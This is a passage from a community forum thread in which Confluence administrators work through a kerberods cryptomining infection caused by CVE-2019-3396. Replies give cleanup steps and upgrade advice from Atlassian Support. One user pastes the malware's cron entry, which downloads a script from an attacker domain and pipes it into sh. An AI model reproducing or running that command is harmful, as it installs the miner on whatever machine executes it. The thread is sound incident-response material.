Community
Products
Confluence
Questions
khugepageds eating all of the CPU

khugepageds eating all of the CPU

Viewing page 2 of 3

58 answers

0 votes

Try this:

ps auxef > /tmp/ll

Then edit file /tmp/ll and see if you can find what's causing it to start. From my own experience when conflucnce starts it's a resource hogger. The malware is set to kill anything using too much CPU. Did you upgrade your system? If you don't you will keep getting hit.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

How did you see that? If you weren't running as root it should have not had permission to install anything.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

So one thing i noticed it downloaded and installed Python 2.7.12 ..

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

it comes back with nothing.

Now I have another confluence instance with a different problem: a process by the confluence user with empty command. I tried to run sudo kill 2864 but it didn't do anything.

Screen Shot 2019-04-16 at 4.50.15 PM.png

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

That's probably your grep command. Try this:
ps auxef | grep 'khugepageds\|kerberods' | grep -v grep

If that comes back with nothing you should be good.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

was running as confluence users, running steps thanks!

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

@dovi5988 cron is still empty. When I'm running the second command I get a long result (I'm not copying it all):

root 4296 0.0 0.0 110512 2044 pts/0 S+ 14:43 0:00 \_ grep --color=auto khugepageds\|kerberods LESS_TERMCAP_mb=?[01;31m HOSTNAME=ip-172-31-27-207 LESS_TERMCAP_md=?[01;38;5;208m LESS_TERMCAP_me=?[0m SHELL=/bin/bash TERM=xterm-256color HISTSIZE=1000 EC2_AMITOOL_HOME=/opt/aws/amitools/ec2 LESS_TERMCAP_ue=?[0m USER=root LS_COLORS

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

No need to sudo. You can clean it from root:

1) su root -

2) > /var/spool/cron/confluence

No one knows for sure what it did but from all the research I did it seemed it was limited to getting CPU cycles. Based on sniffing the traffic it seemed to be the same.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

@warthog Were you running confluence as root or another user? If the latter please see what I wrote to @Andrea C . You need to clear out the cronjob and then kill the processes.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

@Andrea C

1) make sure the cron is empty.

2) ps auxef | grep 'khugepageds\|kerberods' # verify they are not running.

If they all come up clean you should be good. Before when you were killing it, the cron was starting it up again.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

Dont mean to hijack but im having issue with busybox as well

./clear_kerberods.sh: line 1: syntax error near unexpected token `newline'
./clear_kerberods.sh: line 1: `<!DOCTYPE html>'

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

We got hit with this as well, trying to clean it up, but keep on getting kicked out when i try to sudo as confluence user to kill cron.

Does anyone know what data this was mining for? Is just upgrading safe or will they still have access to data.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

@dovi5988 thanks a lot for your help Dovid!

Now Confluence is online for two hours and a half and the only thing that I did is trying to run that malware cleanup tool which I managed to run it but I don't think it executed all the lines of the script.

Here is what was happening when confluence was going down:

confluence is running as the user confluence (not root), two processes since I have concurrent editing on.
the cpu was spiking up to more than 100%
Both confluence process were going down
Only the kerberods process was running for just a few seconds and then it was disappearing, as you saw from the screenshot.

Now, even though Confluence is currently up, I want to make sure that everything is fine as I don't want any more surprises.

This is the output after running the first command you suggested:

*/10 * * * * (curl -fsSL https://dd.heheda.tk/i.jpg||wget -q -O- https://dd.heheda.tk/i.jpg)|sh

This is definitely something not legit right?

Also, how can I get the pid of kerberods since it's not running?

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

I would add that you need to clean out the cron fairly fast. So long as either kerberods is running or the cron job is there it's going to be an endless game of whack a mole. Please see my note below to @Andrea C . You need do it almost all at once. e.g.

> /var/spool/cron/confluence ; kill -9 PID_OF_kerberods ; kill -9 PID_OF_khugepageds

I say to use > and not to edit with vim as the time it takes to launch the editor the cron could have restarted.

Make sure you aren't clearing out any crons that you do want for user confluence!. Using > will clean out the file.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

@Andrea C I am not sure if there is an option here but if you can private message me and I can take a look with you together at it.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

@Andrea C It seems as if it's still running somewhere and you aren't fully cleanning it out. Based on the output of top above it seems you are running it as user confluence which is a good thing. Here is what I would do:

1) cat /var/spool/cron/confluence # Verify that there are no other cronjobs there for user confluence. If there are back them up.

2) ps auxef | grep 'khugepageds\|kerberods'

Get the pids of the above processes. You need to run below in this order:

> cat /var/spool/cron/confluence ; kill -9 PID_OF_kerberods ; kill -9 khugepageds

3) cat /var/spool/cron/confluence # verify that it's empty

4) ps auxef | grep 'khugepageds\|kerberods' # verify they are not running.

5) rm -rf /tmp/khugepageds ; rm -rf /tmp/kerberods

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

That really depends in how you were running confluence. If you were running it as root they could have gotten access to anything. What user was confluence running as? That being said we tested the malware over and over in a sandbox environment and the only thing we saw that it was interested in, was harnessing CPU cycles. The moment we killed all processes and cleaned out the cron jobs all network traffic (other then the ssh session to the sandbox) ceased to exist. If you were running in root to be safe I would suggest to set up a new system and migrate over all of your data (to be safe).

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

Did someone use the lsd malware cleanup tool? I copy busybox but then when I run the script, it gives a permission denied error and I'm logged in as root. Clearly I need to change some permissions in order to make it run properly.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

I'm having the exact same problem, I have an entry in the cron file but it regenerates even if I delete it.

My problem is that the process kerberods appears only for just a few seconds after the confluence process goes down.

Please help as my production environment is currently down. I already upgraded to the latest version but that didn't fix it. Screen Shot 2019-04-16 at 11.20.18 AM.png

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

Is there anything else to worry about execpt for the malicious infection by kerberods malware? Could the attacker have been able to dump database or get the private Key from Keystore? Is it usefull to run the system "normally" again after upgrading or is it better to setup a new confluence?

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

Hey @Kirk, Becky ,

While the first attack seemed to focus on injecting the kerberods malware, we are seeing reports of other attacks trying to deliver payloads of different malware. I can see that you've been working with our senior Support Engineers via ticket on support.atlassian.com. It's not clear from the ticket that Confluence was upgraded, so if possible I suggest adding that information (or the support zips / info requested by the support team) to the ticket.

After adding that info to the ticket, for next-steps you can take a look at the output from top if you are on Linux to find any processes consuming large amounts of CPU. If Confluence is not running, you should be able to kill any processes running under the confluence user account. Use the kill -9 command followed by the process id (pid) to kill the processes consuming high CPU running under the Confluence account.

Nick's advice to check the crontab for malicious entries is also very good:

Open the Confluence user account's cron file in a text editor
sudo vim /var/spool/cron/confluence
Clear out any malicious entries (probably all of them unless you have added special entries).

It's difficult for the support team to help in your specific case without the requested info though, so please add that to the ticket.

Daniel | Atlassian Support

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

Hey @Robert Musto , I'm really sorry to hear that you had a bad experience getting support. I took a look at the tickets you had opened and while there were a few duplicates created, it seems like our support engineers were able to assist you over the phone today. If there were some things you felt needed improvement, we'd like to hear about that - you can reach out to me directly at deads at atlassian.com or reply on the ticket our team helped you with today.

@[deleted] please reach out to me via email as well (deads at atlassian.com) if you need help contacting support directly. I'm not sure what you mean by bait and switch - the only Confluence license I see on your account expired several years ago, so please reach out to me with concerns! We are active on Community but due to the sheer volume it's not guaranteed that we can respond to all threads directly. Part of what makes Community work is that everyone is able to contribute answers for the benefit of everyone. You've added some valuable info to this conversation, and that will definitely help people coming in to the thread looking for a solution!

Overall I will say that Dovid's original issue was an infection from the kerberods malware. Other attacks against the same vulnerability may be trying to insert different payloads, so it's possible that more recent infections might be from different malware. The steps noted by @[deleted] are a great starting point to doing a general malware cleanup while utilizing tools tailored to the specific malware infection.

Daniel | Atlassian Support

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

My environment experienced the same issue. We followed the Atlassian provided troubleshooting steps to a T. Is anyone else continuing to experience fall out AFTER upgrading confluence? It seems the upgrade wasn't enough and we are continuing to experience malware issues in our self hosted environment.

Please let me know.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

Our confluence will not load right since we have been infected, followed the guide and trying to get atlassian support is like pulling teeth, actually I would rather have my teeth pulled then trying to get valid support from this team.

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Comment

0 votes

What you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20).

The first step in fixing this is upgrading to a Confluence version that is not affected by the vulnerability. The latest releases are:

6.6.13 (6.6 is an Enterprise release)
6.12.4
6.13.4 (6.13 is an Enterprise release)
6.14.3
6.15.2

Secondly, the LSD malware cleanup tool will be useful for removing the Kerberods malware. I would recommend executing cleanup after upgrading Confluence to a patched version so there's no possibility of re-infection while you work on the upgrade.

Please let me know if you have more questions!
Daniel | Atlassian Support

You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.

Products

Community resources

Support

Top groups

Community resources

Support

Learn

Community resources

Support

Events

Community resources

Support

Get product advice from experts

Join a community group

Advance your career with learning paths

Earn badges and rewards

Connect and share ideas at events

khugepageds eating all of the CPU

58 answers

Suggest an answer

Was this helpful?

Thanks!

TAGS

Atlassian Community Events

Ask a question

Start a discussion

Products

Community resources

Support

Top groups

Community resources

Support

Learn

Community resources

Support

Events

Community resources

Support

Get product advice from experts

Join a community group

Advance your career with learning paths

Earn badges and rewards

Connect and share ideas at events

khugepageds eating all of the CPU

58 answers

Suggest an answer

Was this helpful?

Thanks!

TAGS

Atlassian Community Events